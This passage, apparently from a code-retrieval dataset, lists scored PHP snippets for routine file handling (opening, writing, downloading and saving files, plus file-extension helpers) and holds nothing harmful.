GuardarEnArchivo()\n {\n $archivo = fopen(\"archivo/materias-profesores.txt\", \"a\");\n fwrite($archivo, $this->ToString() . \"\\r\\n\");\n fclose($archivo);\n }", "title": "" }, { "docid": "5b977beeb9a231487ced5cc84456fcc8", "score": "0.52298635", "text": "private function getFile()\n {\n return $this->file; \n }", "title": "" }, { "docid": "a85440ec334cee084c6313bbd0aeca83", "score": "0.5222571", "text": "private function getContent() {\n $fs = $this->get('filesystem');\n $dir = $this->container->getParameter('kernel.cache_dir') . '/community_msg';\n $fileName = $dir . '/content.csv';\n // Test mode forces immediate refresh\n $cacheTime = $this->isTest ? time() : strtotime('now - 1 hour');\n\n if (!$fs->exists($dir)) {\n $fs->mkdir($dir);\n }\n\n if (!$fs->exists($fileName) || filemtime($fileName) < $cacheTime) {\n file_put_contents($fileName, fopen(self::CONTENT_SOURCE, 'r'));\n }\n\n return $fileName;\n }", "title": "" }, { "docid": "cf62641167f15b052e1d2b24faaf64fc", "score": "0.5205352", "text": "public function downloadLogAsFile()\n {\n // return Storage::download('file.jpg');\n // return Storage::download('file.jpg', $name, $headers);\n }", "title": "" }, { "docid": "8c19136dc0440707ffe8a9589fe9140c", "score": "0.52017456", "text": "private function get_file() {\n\t\treturn $this->get_standard();\n\t}", "title": "" }, { "docid": "b8a6923dc39ccc09723a9f84179df2ac", "score": "0.5184635", "text": "public function getFile() : \\Core\\FileSystem\\File {\n return $this->file;\n }", "title": "" }, { "docid": "79a5a27d2ff366bf51f0785e3ddf4717", "score": "0.5180116", "text": "function update_file(){\n // (not yet implemented, due to possibly security risk)\n}", "title": "" }, { "docid": "98633f4f3657b8fb37f6c1760331eb96", "score": "0.51705223", "text": "public function getFile($name);", "title": "" }, { "docid": "308df4c02e70225b38483942eb998207", "score": "0.5161426", "text": "public function canMapURIToFile(){\n /**\n * Set up local directory structure with one schema file.\n * SCHEMA_ROOT/extraschemas/myExtraSchema.json\n */\n $extraschemas = vfsStream::newDirectory('extraschemas')->at(vfsStreamWrapper::getRoot());\n vfsStream::newFile('myExtraSchema.json')->withContent('X')->at($extraschemas);\n\n $localSchemaPath = vfsStream::url(\"SCHEMA_ROOT/extraschemas/myExtraSchema.json\");\n $this->assertFileExists($localSchemaPath);\n\n // Map a random URI to the local file.\n $this->sut->mapURIToFile('http://example.com/some/random/schema.json', $localSchemaPath);\n\n $this->assertEquals('X', $this->sut->loadSchema('http://example.com/some/random/schema.json'));\n }", "title": "" }, { "docid": "5983c0fc932ada422a71215bc5ee9128", "score": "0.5149946", "text": "public function getFilePath();", "title": "" }, { "docid": "a9c3bb974cd54fd5d96d755bab642e50", "score": "0.5126461", "text": "public function transformToFile() {}", "title": "" }, { "docid": "0becac9f4c62966e9cedb93807ad5c64", "score": "0.5123947", "text": "abstract function savefile();", "title": "" }, { "docid": "66d8a96ebf93feaf36c61f7978f11d5e", "score": "0.51220745", "text": "function create_file($path_name,$content){\n\t$file= fopen($path_name, \"w+\");\n\tfwrite($file,$content);\n\tfclose($file);\t\n}", "title": "" }, { "docid": "10313d3ad357121f09a15b4b550366ef", "score": "0.5120828", "text": "public function getFile(){\r\n return $this->file;\r\n }", "title": "" }, { "docid": "ad82d3fa5b8eb154ed42a67e252cb691", "score": "0.5120604", "text": "public function fileget($file)\n {\n \n //obtenemos el nombre del archivo\n $nombre = $file->getClientOriginalName();\n \n //indicamos que queremos guardar un nuevo archivo en el disco local\n \\Storage::disk('local')->put($nombre, \\File::get($file));\n\n $url = '/storage/'.$nombre;\n\n return $url;\n }", "title": "" }, { "docid": "eb26f8f8136a58da2bca5f69fd194aae", "score": "0.51187545", "text": "public function getFile ()\n {\n return $this->file;\n }", "title": "" }, { "docid": "51cfba466749963b339495ca81e9e987", "score": "0.51187325", "text": "public function saveFile($fromURL,$toURL) {\n $ch = curl_init($fromURL);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n $file = curl_exec($ch);\n curl_close($ch);\n\n $fp = fopen($toURL, 'w');\n fwrite($fp, $file);\n fclose($fp);\n }", "title": "" }, { "docid": "74d80732647821ad1325bca80446fc77", "score": "0.5095765", "text": "protected function getTestFile() {\n \\Drupal::service('file_system')->copy(drupal_get_path('module', 'crop') . '/tests/files/sarajevo.png', PublicStream::basePath());\n return $this->fileStorage->create([\n 'uri' => 'public://sarajevo.png',\n 'status' => FILE_STATUS_PERMANENT,\n ]);\n }", "title": "" }, { "docid": "7834b9156c10d138eb24895cc03ca601", "score": "0.50912845", "text": "public function getFile()\n {\n \treturn $this->file;\n }", "title": "" }, { "docid": "13246f3683ccf5487f2fe09656f00a4a", "score": "0.5082259", "text": "public function GetFile()\r\n {\r\n return $this->file;\r\n }", "title": "" }, { "docid": "a6e11ad08d318f9501cadbec6f7da2f2", "score": "0.507635", "text": "#[@xmlmapping(element= '@toFile')]\n public function setToFile($f) {\n $this->toFile= $f;\n }", "title": "" }, { "docid": "7dfb4432dbbd981af46630f3c08edbfd", "score": "0.50719625", "text": "function writeFile() {\n // debug. Uncomment to get a fresh file list\n // $this->freshclean();\n\n $data = serialize($this->fileindex);\n $fopen = fopen('scanner-logs/scannerfiles.txt', 'w+');\n fwrite($fopen, $data);\n fclose($fopen);\n }", "title": "" }, { "docid": "098dd8d7cf5084baf3366375c5613e0e", "score": "0.50663066", "text": "abstract protected function wgetFile($url);", "title": "" }, { "docid": "755a2800fa4b9290e83115361666c9d6", "score": "0.5058217", "text": "function saveFile($newloc, $file)\n{\n $temp = $file['file'];\n $copy = fopen( $newloc, 'wb');\n for (;;)\n {\n $data = fread($temp, 4096); // read 4K at a time\n if ($data === false || strlen($data) == 0)\n break;\n fwrite($copy, $data);\n }\n fclose($copy);\n}", "title": "" }, { "docid": "dddc3ad026a23d48720e823deb76e8f5", "score": "0.5053293", "text": "function copicloud_export_contents($cm, $baseurl) {\n global $CFG, $DB;\n $contents = array();\n $context = context_module::instance($cm->id);\n $copicloud = $DB->get_record('copicloud', array('id'=>$cm->instance), '*', MUST_EXIST);\n\n $fs = get_file_storage();\n $files = $fs->get_area_files($context->id, 'mod_copicloud', 'content', 0, 'sortorder DESC, id ASC', false);\n\n foreach ($files as $fileinfo) {\n $file = array();\n $file['type'] = 'file';\n $file['filename'] = $fileinfo->get_filename();\n $file['filepath'] = $fileinfo->get_filepath();\n $file['filesize'] = $fileinfo->get_filesize();\n //~ $file['fileurl'] = file_encode_url(\"$CFG->wwwroot/\" . $baseurl, '/'.$context->id.'/mod_copicloud/content/'.$copicloud->revision.$fileinfo->get_filepath().$fileinfo->get_filename(), true);\n $file['fileurl'] = $CFG->redirect_copicloud.$copicloud->uuid_file;\n $file['timecreated'] = $fileinfo->get_timecreated();\n $file['timemodified'] = $fileinfo->get_timemodified();\n $file['sortorder'] = $fileinfo->get_sortorder();\n $file['userid'] = $fileinfo->get_userid();\n $file['author'] = $fileinfo->get_author();\n $file['license'] = $fileinfo->get_license();\n $contents[] = $file;\n }\n\n return $contents;\n}", "title": "" }, { "docid": "daaeb4c83230cb0e2658c2e064aa4654", "score": "0.50532275", "text": "public function testGetSpecifiedFileSystemFile(){\n $client = $this->getClient();\n $foo_dir = $client->dir(self::FOODIR);\n $file = $foo_dir->putFile($this->testDir . '/'. self::EXAMPLE_FILE); // like: /testdir/test_example.txt\n $file->put(\"Leader of the Autobots\");\n $this->assertEquals(200, $file->response->getStatusCode());\n\n $my_filesink = $this->testDir . '/my_filesink.txt';\n\n //write the file to a SPECIFIED dir and get the path to this file on the filesystem\n $my_file_path = $file->getFile($my_filesink);\n\n //file should exist now!\n $this->assertTrue(file_exists($my_file_path));\n\n //what is in the contents of the file? should be what we saved!\n $this->assertEquals(\"Leader of the Autobots\", file_get_contents($my_file_path));\n \n //delete the folder, file and the local file\n $foo_dir->delete(true);\n unlink($my_file_path);\n\n }", "title": "" }, { "docid": "9aa30dfdff7ba52b983a16e33d2430a5", "score": "0.50520676", "text": "public function get_file() {\n return $this->file;\n }", "title": "" }, { "docid": "c62fc7402cdef59bc60d10fff0fcad7e", "score": "0.50475234", "text": "public function getFile()\n {\n return null;\n }", "title": "" }, { "docid": "9ade1494a73ed3c0ac68c3f392c21d8f", "score": "0.50352937", "text": "public function getFilesystemFile(): FilesystemFile\n {\n\t\treturn $this->filesystemFile;\n\t}", "title": "" }, { "docid": "112f3639281de299b392ad8d02a79ecd", "score": "0.5017216", "text": "protected function openOutputStream()\n {\n $this->file = fopen('php://output', 'w');\n }", "title": "" }, { "docid": "1c1bbe6663d71b1f22ccc8e587b6b76f", "score": "0.5012165", "text": "function leggifile($filename){\n$handle = fopen($filename, \"r\");\n$contents = fread($handle, filesize($filename));\nfclose($handle);\nreturn $contents;\n}", "title": "" }, { "docid": "266255f4a60d722f00d8587cebf30c49", "score": "0.5010543", "text": "function getMediaFile();", "title": "" }, { "docid": "50416ff66e53ab6e721211d684d3ab3e", "score": "0.50007564", "text": "public function setFile($content);", "title": "" }, { "docid": "e4737abdfede159fab0fc1587abb78ae", "score": "0.49980745", "text": "function getWriteContents($path, $data)\n {\n //TODO:I/O Related operations should be handled like symfony file component\n //http://api.symfony.com/3.3/Symfony/Component/HttpFoundation/File/File.html\n try {\n $data = file_put_contents($path, $data);\n } catch (\\Exception $e) {\n die($e->getMessage());\n }\n }", "title": "" }, { "docid": "e21b3c237ccaa2e714bd825bbba38b22", "score": "0.4994394", "text": "function wobi_publish_file($file_path, $file_url)\n{\n require_once 'Torrent.php';\n\n $filename = basename($file_path);\n $torrent_file_path = $file_path . \".torrent\";\n $torrent_file_url = WOBI_TORRENT_URL . \"/$filename.torrent\";\n\n // 1- Create the Torrent\n $torrent = new Torrent(array($file_path), WOBI_TRACKER_URL);\n $fh = fopen($torrent_file_path, 'w') or die(\"can't open file\");\n $stringData = (string)$torrent;\n fwrite($fh, $stringData);\n fclose($fh);\n\n // 2- Register to RivetTracker\n if (_wobi_addTorrent($torrent_file_path, $torrent_file_url, $file_path, $file_url))\n return $torrent_file_url;\n else\n return false;\n}", "title": "" }, { "docid": "70bfa03f43d9ac29832a0a64a10b8a49", "score": "0.49879774", "text": "function wavefront_get_file_info($browser, $areas, $course, $cm, $context, $filearea, $itemid, $filepath, $filename) {\n global $CFG;\n\n if ($filearea === 'model_files') {\n $fs = get_file_storage();\n\n $filepath = is_null($filepath) ? '/' : $filepath;\n $filename = is_null($filename) ? '.' : $filename;\n if (!$storedfile = $fs->get_file($context->id, 'mod_model', 'model_files', 0, $filepath, $filename)) {\n if ($filepath === '/' and $filename === '.') {\n $storedfile = new virtual_root_file($context->id, 'mod_model', 'model_files', 0);\n } else {\n // Not found.\n return null;\n }\n }\n\n require_once(\"$CFG->dirroot/mod/model/locallib.php\");\n $urlbase = $CFG->wwwroot.'/pluginfile.php';\n\n return new wavefront_content_file_info($browser, $context, $storedfile, $urlbase, $areas[$filearea],\n true, true, false, false);\n }\n\n return null;\n}", "title": "" }, { "docid": "73c90a0ddc0f26a6ce9cccd679c134b8", "score": "0.49840388", "text": "public function setFile($var) {}", "title": "" }, { "docid": "38e8517b151cc7959433f0e9c29c700d", "score": "0.49827367", "text": "public function getFile () \r\n {\r\n return $this->file;\r\n }", "title": "" }, { "docid": "4f500ec59df3c28d54488d83009b0f52", "score": "0.4981117", "text": "public function testGetFileSystemFile(){\n $client = $this->getClient();\n $foo_dir = $client->dir(self::FOODIR);\n $file = $foo_dir->putFile($this->testDir . '/'. self::EXAMPLE_FILE); // like: /testdir/test_example.txt\n $file->put(\"Leader of the Autobots\");\n $this->assertEquals(200, $file->response->getStatusCode());\n\n //write the file to a temp dir and get the path to this file on the filesystem\n $my_file_path = $file->getFile();\n\n //file should exist now!\n $this->assertTrue(file_exists($my_file_path));\n\n //what is in the contents of the file? should be what we saved!\n $this->assertEquals(\"Leader of the Autobots\", file_get_contents($my_file_path));\n \n //delete the file and the local file\n $file->delete();\n unlink($my_file_path);\n }", "title": "" }, { "docid": "726643a4e2583f54c0f757a166333349", "score": "0.49732745", "text": "public function openFile() {\n\t\t$name = $this->step->site->rootDir .\n\t\t\t'/' . $this->step->rawUrl .\n\t\t\t'/' . $this->tag . '.php';\n\t\treturn @fopen($name, \"r\");\n\t}", "title": "" }, { "docid": "db448dd78e2a82714c64048dde0b29a6", "score": "0.49731755", "text": "public function writeImagesFile ($filehandle) {}", "title": "" }, { "docid": "7fcfa3c9551119a99fdecd3c9df26a8a", "score": "0.49691048", "text": "private function StoreFile($request)\n {\n if ($request->hasFile('file')) {\n //storing file\n return $file = $request->file('file')->store('teachingStaffs', 'public');\n }\n }", "title": "" }, { "docid": "810f65f3a761fc2ad408b3bf6a115b99", "score": "0.49687588", "text": "function outputWriter($file, $content) {\n file_put_contents($file, $content); // Write request/response and save them in the File\n}", "title": "" }, { "docid": "3a95ade665480454200462b8a4cd9924", "score": "0.4967715", "text": "function writeTheFile($outputFile, $content) {\n\t$output = @file_put_contents($outputFile, $content);\n\tif ($output == false)\n\t\terr(\"Can't open output file.\", 3);\n}", "title": "" }, { "docid": "0f39644ee4fc7d1b7172e94420025e24", "score": "0.49652183", "text": "function pgs_log($msg)\n{\n $thefile = 'evo_id.log' ;\n file_put_contents ($thefile, $msg);\n \n}", "title": "" }, { "docid": "72e1d95d95fe827e5b6d30b1f886bf1b", "score": "0.49607846", "text": "public function getFile()\n {\n return $this->file;\n }", "title": "" }, { "docid": "72e1d95d95fe827e5b6d30b1f886bf1b", "score": "0.49607846", "text": "public function getFile()\n {\n return $this->file;\n }", "title": "" }, { "docid": "72e1d95d95fe827e5b6d30b1f886bf1b", "score": "0.49607846", "text": "public function getFile()\n {\n return $this->file;\n }", "title": "" }, { "docid": "72e1d95d95fe827e5b6d30b1f886bf1b", "score": "0.49607846", "text": "public function getFile()\n {\n return $this->file;\n }", "title": "" }, { "docid": "72e1d95d95fe827e5b6d30b1f886bf1b", "score": "0.49607846", "text": "public function getFile()\n {\n return $this->file;\n }", "title": "" }, { "docid": "72e1d95d95fe827e5b6d30b1f886bf1b", "score": "0.49607846", "text": "public function getFile()\n {\n return $this->file;\n }", "title": "" }, { "docid": "72e1d95d95fe827e5b6d30b1f886bf1b", "score": "0.49607846", "text": "public function getFile()\n {\n return $this->file;\n }", "title": "" }, { "docid": "72e1d95d95fe827e5b6d30b1f886bf1b", "score": "0.49607846", "text": "public function getFile()\n {\n return $this->file;\n }", "title": "" }, { "docid": "72e1d95d95fe827e5b6d30b1f886bf1b", "score": "0.49607846", "text": "public function getFile()\n {\n return $this->file;\n }", "title": "" }, { "docid": "358284d5fc7c02676bec11e7438d7561", "score": "0.4960778", "text": "protected function openFile($uri) {\n $writer = Writer::createFromPath($uri, 'a');\n return $writer;\n }", "title": "" }, { "docid": "ab27834410f4ffb015c6c03d1583b22d", "score": "0.4958672", "text": "public function saveVcfAsFile(){\n\t\t\n\t}", "title": "" }, { "docid": "4b5f5f366c231631990f26009b7aa31c", "score": "0.49536112", "text": "protected function createFile() {\n\t\t$json = json_decode(file_get_contents(\"php://input\"));\n\t\t$viewmodel = new ManualsourceModel();\n\t\treturn $viewmodel->createFile($json, 1);\n\t}", "title": "" }, { "docid": "988e92210e3de0b4e1fdc8ed7fdd8b0a", "score": "0.49469838", "text": "public function get_file() {\n\t\treturn $this->file;\n\t}", "title": "" }, { "docid": "7cb30d999aa91c7e02aca0ccae863f23", "score": "0.49463686", "text": "public function file() {\n return $this->handle;\n }", "title": "" }, { "docid": "a087ee968b3c23c21d183be1dc485c88", "score": "0.49425277", "text": "abstract function getModelFile();", "title": "" }, { "docid": "82ed9e76a878bb31b17746db5cf90cac", "score": "0.49397853", "text": "public function getFile()\n {\n return $this->hookFile($this->file);\n }", "title": "" }, { "docid": "73985a0a7b0af4929854027a38dc3ae7", "score": "0.49335274", "text": "public function file($field)\n {\n # TODO:\n }", "title": "" }, { "docid": "0ab01072a0b2fd61b8e12ab7d000d1da", "score": "0.49280393", "text": "public function getFile(): string\n {\n return $this->file;\n }", "title": "" }, { "docid": "93557cf3c266ad3bba6c74841a0306fa", "score": "0.49192762", "text": "private function writeMapping($model)\n {\n $path = $this->getMappingPath();\n\n $file = pathinfo($this->creator->create($model, $path), PATHINFO_FILENAME);\n\n $this->comment($file.' was created successfully');\n }", "title": "" }, { "docid": "846e8dff0dec5e6f38947ee94c0e0312", "score": "0.49162728", "text": "public function writeFile($ioContext, $content)\n {\n $filename = array_pop(explode('/', $ioContext));\n $dir = str_replace(DS . $filename, '' ,$ioContext);\n $io = new Varien_Io_File();\n $io->setAllowCreateFolders(true);\n $io->open(array('path' => $dir));\n $io->streamOpen($ioContext, 'w');\n $io->streamLock(true);\n $result = $io->streamWrite($content);\n $io->streamUnlock();\n $io->streamClose();\n return $result;\n }", "title": "" }, { "docid": "ed85254d792dd1de2e539ec0af737088", "score": "0.49144533", "text": "function _writeFile($content, $fileName)\n{\n $writeFile = fopen($fileName, \"w\");\n fwrite($writeFile, $content);\n fclose($writeFile);\n}", "title": "" }, { "docid": "25334069077c35425590b5fcb7bb6bad", "score": "0.49100167", "text": "function ot_file_write( $handle, $string ) {\n\n $func = 'f' . 'write';\n return $func( $handle, $string );\n \n}", "title": "" }, { "docid": "e003d4b58e77364ec163d2f4346e906e", "score": "0.49098334", "text": "function write_to_file($filename, $content)\n{\n if (is_array($content)) $content = json_encode($content);\n $open = fopen($filename, 'a+');\n fwrite($open, $content);\n fclose($open);\n @chmod($filename, 0777);\n}", "title": "" }, { "docid": "ef0c9e273df16b9ed120f25f136a3e46", "score": "0.49091363", "text": "function WriteFileCont($full_file_path,$content)\n{\n\tif (!($fp = fopen(urldecode($full_file_path), \"w\"))) {\n\t\t//die(\"could not open Quiz input\");\n\t}\n\tfwrite($fp,$content);\n\tfclose($fp);\n}", "title": "" }, { "docid": "16d071213ccf5a8595da42099eac5421", "score": "0.49063596", "text": "private function filewrite($content)\n\t{\n\t\tif(!empty($this->file)) {\n\n\t\t\tif(empty($this->tmpFile)) {\n\t\t\t $dir = dirname($this->file);\n\n\t\t\t if (!is_dir($dir))\n\t\t\t mkdir($dir, 0775, true);\n\n\t\t\t\t$this->tmpFile = tempnam($dir, basename($this->file));\n\t\t\t}\n\n\t\t file_put_contents($this->tmpFile, $content, FILE_APPEND);\n\t\t}\n\t\telse {\n echo $content;\n\t\t}\n\t}", "title": "" }, { "docid": "0863cf02df5b1661f6ea0165a722e12f", "score": "0.4902595", "text": "public function getFile()\n {\n return $this->_file;\n }", "title": "" }, { "docid": "f6e222b0558c92e2f69c3258a6aef10c", "score": "0.49004853", "text": "public function grab_image($url,$email){\n$saveto=$this->userFolder($email).\"/media/\";\n \n $ch = curl_init ($url);\n curl_setopt($ch, CURLOPT_HEADER, 0);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_BINARYTRANSFER,1);\n $raw=curl_exec($ch);\n curl_close ($ch);\n if(file_exists($saveto)){\n unlink($saveto);\n }\n $fp = fopen($saveto,'x');\n fwrite($fp, $raw);\n fclose($fp);\n}", "title": "" }, { "docid": "7e6c4a48f2a73d7875f883f23ea09d45", "score": "0.4898939", "text": "public function getFileObject() {\n if (empty($this->fileObject->uri)) {\n // @TODO: Check if scheme is specified.\n $uri = $this->resourceTypeInfo['scheme'] . '://' . 'h/' . uniqid();\n $new_file = file_uri_to_object($uri, FALSE);\n // Merge file defaults.\n $file = (array) $this->fileObject + (array) $new_file;\n $file = (object) $file;\n $file->filename = $this->fileObject->filename;\n $this->fileObject = $file;\n }\n\n return $this->fileObject;\n }", "title": "" }, { "docid": "51c33acbfa6a937f90a6ea2ff68896f1", "score": "0.4891661", "text": "function govdocs_save_datastream_as_tempfile($pid, $dsid) {\n $tmp_filename = preg_replace(\"/:|-/\", '_', $pid) . '.tif';\n $item = new Fedora_Item($pid);\n $url = variable_get('fedora_base_url', 'http://localhost:8080/fedora') . \"/objects/$pid/datastreams/$dsid/content\";\n $file_contents = do_curl($url);\n $file_path = file_directory_path() . \"/\" . $tmp_filename;\n file_put_contents($file_path, $file_contents);\n return $file_path;\n}", "title": "" }, { "docid": "d87d9c57a919e627e6018716d55832fc", "score": "0.48899755", "text": "public function getItsm_file()\n {\n return $this->itsm_file;\n }", "title": "" }, { "docid": "5cac6714a01cab8784d02d50a29a9bad", "score": "0.4886993", "text": "function to_file($data, $filename){\n\tfwrite( fopen( $filename, 'w'), serialize($data) );\n}", "title": "" } ]
e799f638cb07df57115f4539d7ece484
$file_basename = substr($name, 0, strripos($name, '.')); // get file extention
[ { "docid": "e190324b90fe1faf8a93ded126cccac0", "score": "0.0", "text": "function image_upload_file($target_path, $thumbnail_path, $name, $file_basename, $type, $size, $tmp_name, $isMakeThum){\n\t$file_ext = strtolower(substr($name, strripos($name, '.'))); // get file name\n\t$allowed_file_types = array('.jpg','.png','.rtf','.pdf');\t\n\t\t\t\n \twrite_log(\"Upload: \" . $name, UPLOAD_LOG);\t\t\t\t\n\twrite_log(\"Type: \" . $type, UPLOAD_LOG);\t\t\t\t\n\twrite_log(\"Size:\".($size / 1024).\" Kb\", UPLOAD_LOG);\t\t\t\t\n\twrite_log(\"Stored in: \" .$tmp_name, UPLOAD_LOG);\t\t\n\twrite_log(\"file_ext : \" .$file_ext, UPLOAD_LOG);\t\t\n\n\t//if (in_array($file_ext,$allowed_file_types) && ($size < 20000000))\n\tif (in_array($file_ext,$allowed_file_types) && ($size < MAX_FILE_SIZE))\n\t{\t\n\t\t// Rename file\n\t\t//$target_path = \"uploads/\";\n\t\t$newfilename = md5($file_basename) . $file_ext;\n\t\twrite_log(\"newfilename : \" .$newfilename);\t\t\n\t\t\n\t\t\n\t\tif (file_exists($target_path . $newfilename))\n\t\t{\n\t\t\t// file already exists error\n\t\t\t$message = \"You have already uploaded this file.\" ;\n\t\t $ret = array('file' => $newfilename, \n\t\t\t\t\t\t 'status' => UploadMessage::ERR_EXIST_FILE, \n\t\t\t\t\t\t 'message' => $message);\n\t\t\t\n\t \t\twrite_log($message, UPLOAD_LOG);\t\n\t\t}\n\t\telse\n\t\t{\t\t\n\t\t\tmove_uploaded_file($tmp_name, $target_path . $newfilename);\n\t\t\t$ret = UploadMessage::UPLOAD_OK; \t\t\t\n\t\t\t$message = \"File uploaded successfully.\";\t\n\t\t $ret = array('file' => $newfilename, \n\t\t\t\t\t\t 'status' => UploadMessage::UPLOAD_OK, \n\t\t\t\t\t\t 'message' => $message);\n\t\t\t\n\t \t\twrite_log($message, UPLOAD_LOG);\t\n\t \t\twrite_log($ret, UPLOAD_LOG);\t\n\t\t\t\n\t\t\t\n\t\t\t//make thumbnail image\n\t\t\tif($isMakeThum){\n\t\t\t\t$ret2 = resize($target_path.$newfilename,\n\t\t\t\t\t\t $thumbnail_path.$newfilename,\n\t\t\t\t\t\t 100,100);\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t}\n\telseif (empty($file_basename))\n\t{\t\n\t\t// file selection error\n\t\t$message = \"Please select a file to upload.\";\n\t $ret = array('file' => $newfilename, \n\t\t\t\t\t 'status' => UploadMessage::ERR_EMPTY_FILE_NAME, \n\t\t\t\t\t 'message' => $message);\n\t\t\n\t\twrite_log(\"newfilename : \" .$newfilename, UPLOAD_LOG);\t\t\n\t\t\n\t} \n\telseif ($size > MAX_FILE_SIZE)\n\t{\t\n\t\t// file size error\n\t\t$message = \"The file you are trying to upload is too large.\";\n\t $ret = array('file' => $newfilename, \n\t\t\t\t\t 'status' => UploadMessage::ERR_LARGE_FILE, \n\t\t\t\t\t 'message' => $message);\n\t\t\t\t\n \t\twrite_log($message, UPLOAD_LOG);\t\t\t\t\t\n\t\t\n\t}\n\telse\n\t{\n\t\t// file type error\n\t\t$message = \"Only these file typs are allowed for upload: \" . implode(', ',$allowed_file_types);\n \t\twrite_log($message, UPLOAD_LOG);\t\t\t\t\t\n\t $ret = array('file' => $newfilename, \n\t\t\t\t\t 'status' => UploadMessage::ERR_FILE_TYPE, \n\t\t\t\t\t 'message' => $message);\n\t\t\n\t\tunlink($tmp_name);\n\t}\n\t\n\treturn $ret;\n}", "title": "" } ]
[ { "docid": "3570605cc273173316015412bad3c4f1", "score": "0.831653", "text": "function get_file_extension($file_name)\r\n{\r\n return substr(strrchr($file_name, '.'), 1);\r\n}", "title": "" }, { "docid": "3570605cc273173316015412bad3c4f1", "score": "0.831653", "text": "function get_file_extension($file_name)\r\n{\r\n return substr(strrchr($file_name, '.'), 1);\r\n}", "title": "" }, { "docid": "76b7e6415ae336f3358af3b4f068759a", "score": "0.82855546", "text": "function fetch_filename($filepath)\n{\n preg_match('/[^?]*/', $filepath, $matches);\n $string = $matches[0];\n #split the string by the literal dot in the filename\n $pattern = preg_split('/\\./', $string, -1, PREG_SPLIT_OFFSET_CAPTURE);\n #get the last dot position\n $lastdot = $pattern[count($pattern) - 1][1];\n #now extract the filename using the basename function\n $filename = basename(substr($string, 0, $lastdot - 1));\n\n #return the filename part\n return $filename;\n}", "title": "" }, { "docid": "5c601c59393889ce8fbbc401a0d53aa7", "score": "0.8170421", "text": "function get_file_extension($file_name) {\n return substr(strrchr($file_name,'.'),1);\n}", "title": "" }, { "docid": "0be6036e91d789686b089e5529e75206", "score": "0.814065", "text": "function file_extension($filename)\n{\n return mb_substr(mb_strrchr($filename, '.'), 1);\n}", "title": "" }, { "docid": "2704614c0a93c31fabca4e7c83a783f7", "score": "0.8139684", "text": "function get_basename($filename) {\r\n\t\r\n\t$basename = preg_replace( '/^.+[\\\\\\\\\\\\/]/', '', $filename );\r\n\t\r\n\treturn $basename;\r\n\t\r\n\t}", "title": "" }, { "docid": "26a0f149e30f6271ee10ece3ec4e26c2", "score": "0.80966705", "text": "function getFileExtension($file_name) {\n $filePart = explode('.', strtolower(basename($file_name)));\n return $filePart[count($filePart) - 1];\n}", "title": "" }, { "docid": "6ca0aa00cce4f785594d0f814f639fa4", "score": "0.8017077", "text": "function get_file_extension($file_name)\n{\n\treturn substr(strrchr($file_name,'.'),1);\n}", "title": "" }, { "docid": "44c2da7098b87ce8d5bd5e7560009023", "score": "0.8009853", "text": "function getFileExt($file_name) {\n\t\t$pos= strrpos($file_name, \".\") ;\n\t\tif($pos > 0)\n\t\t\treturn substr($file_name, $pos) ;\n\t\treturn \"\" ;\n\t}", "title": "" }, { "docid": "65696ce02a6342a628b1f304d43d8e3f", "score": "0.8002885", "text": "function findExtension($filename){ \n\treturn substr(strrchr($filename,'.'),1);\n}", "title": "" }, { "docid": "671ba4aa241c4e8955fa9264df6a3d2b", "score": "0.79446554", "text": "private function basename($file) {\n $name = basename($file);\n return substr($name, 0, strrpos($name, \".\")); \n }", "title": "" }, { "docid": "f06133a12c2a217681f94234ae16f55e", "score": "0.79108804", "text": "function getFileExtension($fileName){\n $parts=explode(\".\",$fileName);\n return $parts[count($parts)-1];\n}", "title": "" }, { "docid": "9c8f29ad3fd3cf9ab188f155490aac51", "score": "0.7886655", "text": "function filename($str)\n{\n\t$info = pathinfo($str);\n\treturn basename($str, '.'.$info['extension']);\n}", "title": "" }, { "docid": "8276ec88199970f5e2e5a4219ad4fa2f", "score": "0.7867955", "text": "function getFileExt($fname) {\r\n\t$dotpos =strripos($fname,\".\");\r\n\treturn strtolower(substr($fname, $dotpos -strlen($fname)+1));\r\n}", "title": "" }, { "docid": "54b2c4cff033ba161c4ae1d2879d81bc", "score": "0.78605336", "text": "function bx_basename($path, $ext=\"\")\n{\n $path = rtrim($path, \"\\\\/\");\n if(preg_match(\"#[^\\\\\\\\/]+$#\", $path, $match))\n $path = $match[0];\n\n if($ext)\n {\n $ext_len = strlen($ext);\n if(strlen($path) > $ext_len && substr($path, -$ext_len) == $ext)\n $path = substr($path, 0, -$ext_len);\n }\n\n return $path;\n}", "title": "" }, { "docid": "ce95c2e5691323e52451a6dd83789d28", "score": "0.78156346", "text": "function poodllBasename($filepath){\n\t\t//return basename($filepath,'/');\n\t//if it is a directory then we should remove the trailing slash because it will\n\t//get exploded into an empty string\n\tif(substr($filepath,-1)==DIRECTORY_SEPARATOR){\n\t\t$filepath = substr($filepath,0,-1);\n\t}\n\treturn end(explode(DIRECTORY_SEPARATOR,$filepath));\n\t\n}", "title": "" }, { "docid": "b62e4c4c27a497661dfa2bc8d87c2222", "score": "0.7782655", "text": "public function basename()\n\t{\n\t\treturn pathinfo($this->file, PATHINFO_BASENAME);\n\t}", "title": "" }, { "docid": "3d5dd910a486e2d3338f6d435cdd20e7", "score": "0.77823824", "text": "function get_file_extension($file_name) {\n return substr(strrchr($file_name, '.'), 1);\n }", "title": "" }, { "docid": "e6d1cf86972578895b841bc71b51014f", "score": "0.77550185", "text": "function GetExt($file)\n{\n return strtolower(substr($file, strrpos($file, '.') + 1));\n}", "title": "" }, { "docid": "40c6787c47b56c25de130348ed293df4", "score": "0.7735055", "text": "function get_extension($filename) {\n $x = explode('.', $filename);\n return '.' . end($x);\n}", "title": "" }, { "docid": "122ce45a437de2b5d4a078dd12a52fb3", "score": "0.7700677", "text": "function extension($file_name){\n\t\t$tmp = explode('.', $file_name);\n\t\t$file_extension = end($tmp);\n return $file_extension;\n\t}", "title": "" }, { "docid": "87e3c8c42b11e8f7de0e3bfdd07d7e3e", "score": "0.7681661", "text": "function GetExtention($FileName) {\n $extation = substr(strrchr($FileName, \".\"), 1);\n return $extation;\n}", "title": "" }, { "docid": "3333283a65da6aa978a1c702fdf3990d", "score": "0.7681183", "text": "function file_extension($filename)\r\n {\r\n return end(explode(\".\", $filename));\r\n }", "title": "" }, { "docid": "7bc8fb0fce2dc412dce6ae4ba4b2b46e", "score": "0.7654797", "text": "function GetFileName($FileName) {\n $extation = substr(strrchr($FileName, \".\"), 1);\n $name = str_replace($extation, '', $FileName);\n return $name;\n}", "title": "" }, { "docid": 